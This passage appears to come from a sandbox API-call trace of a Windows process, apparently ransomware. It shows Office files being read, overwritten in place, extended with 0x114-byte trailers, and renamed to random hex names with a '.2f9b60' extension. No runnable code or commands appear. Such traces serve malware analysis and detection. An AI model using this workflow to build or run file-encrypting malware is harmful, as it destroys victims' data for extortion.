Seed=0x3adafcf0) returned 0xd151a2e [0144.748] RtlRandomEx (in: Seed=0x3adafcf0 | out: Seed=0x3adafcf0) returned 0xf49ce72 [0144.748] RtlRandomEx (in: Seed=0x3adafcf0 | out: Seed=0x3adafcf0) returned 0x44f53deb [0144.748] RtlRandomEx (in: Seed=0x3adafcf0 | out: Seed=0x3adafcf0) returned 0x5d546b09 [0144.748] RtlRandomEx (in: Seed=0x3adafcf0 | out: Seed=0x3adafcf0) returned 0x5e62b7d9 [0144.748] RtlRandomEx (in: Seed=0x3adafcf0 | out: Seed=0x3adafcf0) returned 0x62258df5 [0144.748] RtlRandomEx (in: Seed=0x3adafcf0 | out: Seed=0x3adafcf0) returned 0x2889d0e2 [0144.748] RtlRandomEx (in: Seed=0x3adafcf0 | out: Seed=0x3adafcf0) returned 0x27d8df81 [0144.748] RtlRandomEx (in: Seed=0x3adafcf0 | out: Seed=0x3adafcf0) returned 0xeb52655 [0144.748] RtlRandomEx (in: Seed=0x3adafcf0 | out: Seed=0x3adafcf0) returned 0x43558df9 [0144.748] RtlRandomEx (in: Seed=0x3adafcf0 | out: Seed=0x3adafcf0) returned 0x29528d5a [0144.748] RtlRandomEx (in: Seed=0x3adafcf0 | out: Seed=0x3adafcf0) returned 0x1d8b26a1 [0144.748] RtlRandomEx (in: Seed=0x3adafcf0 | out: Seed=0x3adafcf0) returned 0x32c048ac [0144.748] RtlRandomEx (in: Seed=0x3adafcf0 | out: Seed=0x3adafcf0) returned 0x54d3c1fb [0144.748] RtlRandomEx (in: Seed=0x3adafcf0 | out: Seed=0x3adafcf0) returned 0x5e87dc37 [0144.748] RtlRandomEx (in: Seed=0x3adafcf0 | out: Seed=0x3adafcf0) returned 0x47135fb7 [0144.748] RtlRandomEx (in: Seed=0x3adafcf0 | out: Seed=0x3adafcf0) returned 0x7a57cbd2 [0144.748] RtlRandomEx (in: Seed=0x3adafcf0 | out: Seed=0x3adafcf0) returned 0x54753b29 [0144.748] RtlRandomEx (in: Seed=0x3adafcf0 | out: Seed=0x3adafcf0) returned 0x2c88bce2 [0144.748] RtlRandomEx (in: Seed=0x3adafcf0 | out: Seed=0x3adafcf0) returned 0x361f1915 [0144.748] RtlRandomEx (in: Seed=0x3adafcf0 | out: Seed=0x3adafcf0) returned 0x355f835a [0144.748] RtlRandomEx (in: Seed=0x3adafcf0 | out: Seed=0x3adafcf0) returned 0x501999ab [0144.748] RtlRandomEx (in: Seed=0x3adafcf0 | out: Seed=0x3adafcf0) returned 0x3495b1a1 [0144.748] RtlRandomEx (in: Seed=0x3adafcf0 | out: Seed=0x3adafcf0) returned 0x3b8cccc8 [0144.748] RtlRandomEx (in: Seed=0x3adafcf0 | out: Seed=0x3adafcf0) returned 0x3afcb7fc [0144.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff1c0 [0144.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061fb0 [0144.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff280 [0144.758] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061fb0) returned 1 [0144.758] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff370) returned 1 [0144.758] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff2b0) returned 1 [0144.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0144.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061fb0 [0144.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff2b0 [0144.758] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff2b0) returned 1 [0144.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4232e130 [0144.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4231b4e0 [0144.759] ReadFile (in: hFile=0x1ed4, lpBuffer=0x4232e130, nNumberOfBytesToRead=0x281, lpNumberOfBytesRead=0x3adafcf0, lpOverlapped=0x0 | out: lpBuffer=0x4232e130*, lpNumberOfBytesRead=0x3adafcf0*=0x281, lpOverlapped=0x0) returned 1 [0144.759] SetFilePointerEx (in: hFile=0x1ed4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.759] WriteFile (in: hFile=0x1ed4, lpBuffer=0x4231b4e0*, nNumberOfBytesToWrite=0x281, lpNumberOfBytesWritten=0x3adafcf4, lpOverlapped=0x0 | out: lpBuffer=0x4231b4e0*, lpNumberOfBytesWritten=0x3adafcf4*=0x281, lpOverlapped=0x0) returned 1 [0166.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1490 [0166.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a14f0 [0166.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a14f0) returned 1 [0166.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4231b4e0) returned 1 [0166.188] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4232e130) returned 1 [0166.188] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061fb0) returned 1 [0166.188] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0166.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1cd9f5b0 [0166.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0166.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061fb0 [0166.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a14f0 [0166.189] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a14f0) returned 1 [0166.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1cd9fbf0 [0166.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a14f0 [0166.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a14c0 [0166.190] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a14c0) returned 1 [0166.190] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061fb0) returned 1 [0166.190] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0166.190] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x114) returned 0x423abbb0 [0166.191] SetFilePointerEx (in: hFile=0x1ed4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0166.191] WriteFile (in: hFile=0x1ed4, lpBuffer=0x423abbb0*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3adafe10, lpOverlapped=0x0 | out: lpBuffer=0x423abbb0*, lpNumberOfBytesWritten=0x3adafe10*=0x114, lpOverlapped=0x0) returned 1 [0200.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420593d0 [0200.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0200.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267920 [0200.059] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267920) returned 1 [0200.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x20267920 [0200.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266960 [0200.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202673b0 [0200.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202673b0) returned 1 [0200.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0200.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420593d0) returned 1 [0200.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x45) returned 0x420593d0 [0200.061] sprintf (in: _Dest=0x420593d0, _Format="%c%c" | out: _Dest="42") returned 2 [0200.061] sprintf (in: _Dest=0x420593d2, _Format="%c%c" | out: _Dest="62") returned 2 [0200.061] sprintf (in: _Dest=0x420593d4, _Format="%c%c" | out: _Dest="01") returned 2 [0200.061] sprintf (in: _Dest=0x420593d6, _Format="%c%c" | out: _Dest="9f") returned 2 [0200.061] sprintf (in: _Dest=0x420593d8, _Format="%c%c" | out: _Dest="d6") returned 2 [0200.061] sprintf (in: _Dest=0x420593da, _Format="%c%c" | out: _Dest="df") returned 2 [0200.061] sprintf (in: _Dest=0x420593dc, _Format="%c%c" | out: _Dest="c5") returned 2 [0200.061] sprintf (in: _Dest=0x420593de, _Format="%c%c" | out: _Dest="6e") returned 2 [0200.061] sprintf (in: _Dest=0x420593e0, _Format="%c%c" | out: _Dest="71") returned 2 [0200.061] sprintf (in: _Dest=0x420593e2, _Format="%c%c" | out: _Dest="33") returned 2 [0200.061] sprintf (in: _Dest=0x420593e4, _Format="%c%c" | out: _Dest="80") returned 2 [0200.061] sprintf (in: _Dest=0x420593e6, _Format="%c%c" | out: _Dest="fb") returned 2 [0200.061] sprintf (in: _Dest=0x420593e8, _Format="%c%c" | out: _Dest="a4") returned 2 [0200.061] sprintf (in: _Dest=0x420593ea, _Format="%c%c" | out: _Dest="5e") returned 2 [0200.061] sprintf (in: _Dest=0x420593ec, _Format="%c%c" | out: _Dest="a9") returned 2 [0200.061] sprintf (in: _Dest=0x420593ee, _Format="%c%c" | out: _Dest="60") returned 2 [0200.061] sprintf (in: _Dest=0x420593f0, _Format="%c%c" | out: _Dest="8a") returned 2 [0200.061] sprintf (in: _Dest=0x420593f2, _Format="%c%c" | out: _Dest="81") returned 2 [0200.061] sprintf (in: _Dest=0x420593f4, _Format="%c%c" | out: _Dest="ca") returned 2 [0200.061] sprintf (in: _Dest=0x420593f6, _Format="%c%c" | out: _Dest="6e") returned 2 [0200.061] sprintf (in: _Dest=0x420593f8, _Format="%c%c" | out: _Dest="02") returned 2 [0200.061] sprintf (in: _Dest=0x420593fa, _Format="%c%c" | out: _Dest="4a") returned 2 [0200.061] sprintf (in: _Dest=0x420593fc, _Format="%c%c" | out: _Dest="e0") returned 2 [0200.061] sprintf (in: _Dest=0x420593fe, _Format="%c%c" | out: _Dest="60") returned 2 [0200.061] sprintf (in: _Dest=0x42059400, _Format="%c%c" | out: _Dest="c5") returned 2 [0200.061] sprintf (in: _Dest=0x42059402, _Format="%c%c" | out: _Dest="39") returned 2 [0200.061] sprintf (in: _Dest=0x42059404, _Format="%c%c" | out: _Dest="62") returned 2 [0200.061] sprintf (in: _Dest=0x42059406, _Format="%c%c" | out: _Dest="00") returned 2 [0200.061] sprintf (in: _Dest=0x42059408, _Format="%c%c" | out: _Dest="1c") returned 2 [0200.061] sprintf (in: _Dest=0x4205940a, _Format="%c%c" | out: _Dest="06") returned 2 [0200.061] sprintf (in: _Dest=0x4205940c, _Format="%c%c" | out: _Dest="5d") returned 2 [0200.061] sprintf (in: _Dest=0x4205940e, _Format="%c%c" | out: _Dest="73") returned 2 [0200.062] sprintf (in: _Dest=0x42059410, _Format="%c%c" | out: _Dest="37") returned 2 [0200.062] sprintf (in: _Dest=0x42059412, _Format="%c%c" | out: _Dest="1c") returned 2 [0200.062] RtlInitAnsiString (in: DestinationString=0x3adafe88, SourceString="4262019fd6dfc56e713380fba45ea9608a81ca6e024ae060c53962001c065d73371c" | out: DestinationString="4262019fd6dfc56e713380fba45ea9608a81ca6e024ae060c53962001c065d73371c") [0200.062] RtlAnsiStringToUnicodeString (in: DestinationString=0x3adafe58, SourceString="4262019fd6dfc56e713380fba45ea9608a81ca6e024ae060c53962001c065d73371c", AllocateDestinationString=1 | out: DestinationString="4262019fd6dfc56e713380fba45ea9608a81ca6e024ae060c53962001c065d73371c") returned 0x0 [0200.062] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x431e39e0 [0200.062] wcscat (in: _Dest=0x431e3940, _Source="4262019fd6dfc56e7" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\4262019fd6dfc56e7") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\4262019fd6dfc56e7" [0200.062] wcscat (in: _Dest=0x431e3940, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\4262019fd6dfc56e7.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\4262019fd6dfc56e7.2f9b60" [0200.062] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\4262019fd6dfc56e7.2f9b60", NtPathName=0x3adafe30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\4262019fd6dfc56e7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.063] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x431ecde0 Thread: id = 2170 os_tid = 0x1578 [0140.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxt")) returned 0x20 [0140.250] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT", dwFileAttributes=0x20) returned 1 [0140.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f94 [0144.719] GetFileSizeEx (in: hFile=0x1f94, lpFileSize=0x3afdf840 | out: lpFileSize=0x3afdf840*=209) returned 1 [0144.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe3e0 [0144.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe410 [0144.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe500 [0144.719] NtQuerySystemTime (in: CurrentTime=0x3afdf700 | out: CurrentTime=0x3afdf700*=132462177499546000) returned 0x0 [0144.720] RtlRandomEx (in: Seed=0x3afdf6f0 | out: Seed=0x3afdf6f0) returned 0x74f43fe9 [0144.720] RtlRandomEx (in: Seed=0x3afdf6f0 | out: Seed=0x3afdf6f0) returned 0x557f7bc [0144.720] RtlRandomEx (in: Seed=0x3afdf6f0 | out: Seed=0x3afdf6f0) returned 0x681b6b7 [0144.720] RtlRandomEx (in: Seed=0x3afdf6f0 | out: Seed=0x3afdf6f0) returned 0x3698a043 [0144.720] RtlRandomEx (in: Seed=0x3afdf6f0 | out: Seed=0x3afdf6f0) returned 0xc568db8 [0144.720] RtlRandomEx (in: Seed=0x3afdf6f0 | out: Seed=0x3afdf6f0) returned 0x3201dbf2 [0144.720] RtlRandomEx (in: Seed=0x3afdf6f0 | out: Seed=0x3afdf6f0) returned 0x5b06fda [0144.720] RtlRandomEx (in: Seed=0x3afdf6f0 | out: Seed=0x3afdf6f0) returned 0x527f31f8 [0144.720] RtlRandomEx (in: Seed=0x3afdf6f0 | out: Seed=0x3afdf6f0) returned 0x4e5c1388 [0144.720] RtlRandomEx (in: Seed=0x3afdf6f0 | out: Seed=0x3afdf6f0) returned 0x7153eafb [0144.720] RtlRandomEx (in: Seed=0x3afdf6f0 | out: Seed=0x3afdf6f0) returned 0x547be64b [0144.720] RtlRandomEx (in: Seed=0x3afdf6f0 | out: Seed=0x3afdf6f0) returned 0x3b65fe5a [0144.720] RtlRandomEx (in: Seed=0x3afdf6f0 | out: Seed=0x3afdf6f0) returned 0x7f047983 [0144.720] RtlRandomEx (in: Seed=0x3afdf6f0 | out: Seed=0x3afdf6f0) returned 0x5f067003 [0144.720] RtlRandomEx (in: Seed=0x3afdf6f0 | out: Seed=0x3afdf6f0) returned 0x645ee4b5 [0144.720] RtlRandomEx (in: Seed=0x3afdf6f0 | out: Seed=0x3afdf6f0) returned 0xa344dc [0144.720] RtlRandomEx (in: Seed=0x3afdf6f0 | out: Seed=0x3afdf6f0) returned 0x2376b557 [0144.720] RtlRandomEx (in: Seed=0x3afdf6f0 | out: Seed=0x3afdf6f0) returned 0x1cd25a48 [0144.720] RtlRandomEx (in: Seed=0x3afdf6f0 | out: Seed=0x3afdf6f0) returned 0x4a04a76d [0144.720] RtlRandomEx (in: Seed=0x3afdf6f0 | out: Seed=0x3afdf6f0) returned 0x3c2b43a8 [0144.720] RtlRandomEx (in: Seed=0x3afdf6f0 | out: Seed=0x3afdf6f0) returned 0x5a7283d8 [0144.720] RtlRandomEx (in: Seed=0x3afdf6f0 | out: Seed=0x3afdf6f0) returned 0x695f2869 [0144.720] RtlRandomEx (in: Seed=0x3afdf6f0 | out: Seed=0x3afdf6f0) returned 0x1817543c [0144.720] RtlRandomEx (in: Seed=0x3afdf6f0 | out: Seed=0x3afdf6f0) returned 0xb52345a [0144.720] RtlRandomEx (in: Seed=0x3afdf6f0 | out: Seed=0x3afdf6f0) returned 0x26c1a534 [0144.720] RtlRandomEx (in: Seed=0x3afdf6f0 | out: Seed=0x3afdf6f0) returned 0x43fc0438 [0144.720] RtlRandomEx (in: Seed=0x3afdf6f0 | out: Seed=0x3afdf6f0) returned 0xae126e5 [0144.720] RtlRandomEx (in: Seed=0x3afdf6f0 | out: Seed=0x3afdf6f0) returned 0x7b16591b [0144.720] RtlRandomEx (in: Seed=0x3afdf6f0 | out: Seed=0x3afdf6f0) returned 0x5e3331b2 [0144.720] RtlRandomEx (in: Seed=0x3afdf6f0 | out: Seed=0x3afdf6f0) returned 0x7b926407 [0144.720] RtlRandomEx (in: Seed=0x3afdf6f0 | out: Seed=0x3afdf6f0) returned 0x28341f62 [0144.720] RtlRandomEx (in: Seed=0x3afdf6f0 | out: Seed=0x3afdf6f0) returned 0x15a5c9ff [0144.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff5e0 [0144.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061f30 [0144.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff2e0 [0144.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061f30) returned 1 [0144.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe500) returned 1 [0144.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe3e0) returned 1 [0144.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0144.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061f30 [0144.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe3e0 [0144.731] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe3e0) returned 1 [0144.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4231f0f0 [0144.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42322d00 [0144.731] ReadFile (in: hFile=0x1f94, lpBuffer=0x4231f0f0, nNumberOfBytesToRead=0xd1, lpNumberOfBytesRead=0x3afdf6f0, lpOverlapped=0x0 | out: lpBuffer=0x4231f0f0*, lpNumberOfBytesRead=0x3afdf6f0*=0xd1, lpOverlapped=0x0) returned 1 [0144.733] SetFilePointerEx (in: hFile=0x1f94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.733] WriteFile (in: hFile=0x1f94, lpBuffer=0x42322d00*, nNumberOfBytesToWrite=0xd1, lpNumberOfBytesWritten=0x3afdf6f4, lpOverlapped=0x0 | out: lpBuffer=0x42322d00*, lpNumberOfBytesWritten=0x3afdf6f4*=0xd1, lpOverlapped=0x0) returned 1 [0144.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff2b0 [0144.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd720 [0144.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd720) returned 1 [0144.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42322d00) returned 1 [0144.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4231f0f0) returned 1 [0144.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061f30) returned 1 [0144.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0144.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1cd9f5b0 [0144.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0144.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061f30 [0144.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd720 [0144.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd720) returned 1 [0144.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1cd9fbf0 [0144.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd720 [0144.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fef20 [0144.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fef20) returned 1 [0144.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061f30) returned 1 [0144.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0144.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x114) returned 0x166f20 [0144.796] SetFilePointerEx (in: hFile=0x1f94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0144.797] WriteFile (in: hFile=0x1f94, lpBuffer=0x166f20*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3afdf810, lpOverlapped=0x0 | out: lpBuffer=0x166f20*, lpNumberOfBytesWritten=0x3afdf810*=0x114, lpOverlapped=0x0) returned 1 [0145.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ba0 [0145.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a2b0 [0145.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x180430 [0145.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x180430) returned 1 [0145.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x180430 [0145.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260350 [0145.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263740 [0145.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263740) returned 1 [0145.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a2b0) returned 1 [0145.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0145.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x45) returned 0x42059ba0 [0145.176] sprintf (in: _Dest=0x42059ba0, _Format="%c%c" | out: _Dest="f0") returned 2 [0145.176] sprintf (in: _Dest=0x42059ba2, _Format="%c%c" | out: _Dest="d2") returned 2 [0145.176] sprintf (in: _Dest=0x42059ba4, _Format="%c%c" | out: _Dest="38") returned 2 [0145.176] sprintf (in: _Dest=0x42059ba6, _Format="%c%c" | out: _Dest="5b") returned 2 [0145.176] sprintf (in: _Dest=0x42059ba8, _Format="%c%c" | out: _Dest="4e") returned 2 [0145.176] sprintf (in: _Dest=0x42059baa, _Format="%c%c" | out: _Dest="aa") returned 2 [0145.176] sprintf (in: _Dest=0x42059bac, _Format="%c%c" | out: _Dest="1b") returned 2 [0145.177] sprintf (in: _Dest=0x42059bae, _Format="%c%c" | out: _Dest="0e") returned 2 [0145.177] sprintf (in: _Dest=0x42059bb0, _Format="%c%c" | out: _Dest="ca") returned 2 [0145.177] sprintf (in: _Dest=0x42059bb2, _Format="%c%c" | out: _Dest="74") returned 2 [0145.177] sprintf (in: _Dest=0x42059bb4, _Format="%c%c" | out: _Dest="96") returned 2 [0145.177] sprintf (in: _Dest=0x42059bb6, _Format="%c%c" | out: _Dest="ef") returned 2 [0145.177] sprintf (in: _Dest=0x42059bb8, _Format="%c%c" | out: _Dest="e2") returned 2 [0145.177] sprintf (in: _Dest=0x42059bba, _Format="%c%c" | out: _Dest="26") returned 2 [0145.177] sprintf (in: _Dest=0x42059bbc, _Format="%c%c" | out: _Dest="93") returned 2 [0145.177] sprintf (in: _Dest=0x42059bbe, _Format="%c%c" | out: _Dest="a2") returned 2 [0145.177] sprintf (in: _Dest=0x42059bc0, _Format="%c%c" | out: _Dest="3e") returned 2 [0145.177] sprintf (in: _Dest=0x42059bc2, _Format="%c%c" | out: _Dest="e8") returned 2 [0145.177] sprintf (in: _Dest=0x42059bc4, _Format="%c%c" | out: _Dest="4a") returned 2 [0145.177] sprintf (in: _Dest=0x42059bc6, _Format="%c%c" | out: _Dest="9d") returned 2 [0145.177] sprintf (in: _Dest=0x42059bc8, _Format="%c%c" | out: _Dest="b4") returned 2 [0145.177] sprintf (in: _Dest=0x42059bca, _Format="%c%c" | out: _Dest="5e") returned 2 [0145.177] sprintf (in: _Dest=0x42059bcc, _Format="%c%c" | out: _Dest="47") returned 2 [0145.177] sprintf (in: _Dest=0x42059bce, _Format="%c%c" | out: _Dest="d6") returned 2 [0145.177] sprintf (in: _Dest=0x42059bd0, _Format="%c%c" | out: _Dest="4d") returned 2 [0145.177] sprintf (in: _Dest=0x42059bd2, _Format="%c%c" | out: _Dest="01") returned 2 [0145.177] sprintf (in: _Dest=0x42059bd4, _Format="%c%c" | out: _Dest="26") returned 2 [0145.177] sprintf (in: _Dest=0x42059bd6, _Format="%c%c" | out: _Dest="e7") returned 2 [0145.177] sprintf (in: _Dest=0x42059bd8, _Format="%c%c" | out: _Dest="91") returned 2 [0145.177] sprintf (in: _Dest=0x42059bda, _Format="%c%c" | out: _Dest="b3") returned 2 [0145.177] sprintf (in: _Dest=0x42059bdc, _Format="%c%c" | out: _Dest="47") returned 2 [0145.177] sprintf (in: _Dest=0x42059bde, _Format="%c%c" | out: _Dest="37") returned 2 [0145.177] sprintf (in: _Dest=0x42059be0, _Format="%c%c" | out: _Dest="06") returned 2 [0145.178] sprintf (in: _Dest=0x42059be2, _Format="%c%c" | out: _Dest="89") returned 2 [0145.178] RtlInitAnsiString (in: DestinationString=0x3afdf888, SourceString="f0d2385b4eaa1b0eca7496efe22693a23ee84a9db45e47d64d0126e791b347370689" | out: DestinationString="f0d2385b4eaa1b0eca7496efe22693a23ee84a9db45e47d64d0126e791b347370689") [0145.178] RtlAnsiStringToUnicodeString (in: DestinationString=0x3afdf858, SourceString="f0d2385b4eaa1b0eca7496efe22693a23ee84a9db45e47d64d0126e791b347370689", AllocateDestinationString=1 | out: DestinationString="f0d2385b4eaa1b0eca7496efe22693a23ee84a9db45e47d64d0126e791b347370689") returned 0x0 [0145.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x205079b0 [0145.178] RtlFreeAnsiString (AnsiString="f") [0145.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0145.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x180430) returned 1 [0145.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260350) returned 1 [0145.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x166f20) returned 1 [0145.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fbf0) returned 1 [0145.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd720) returned 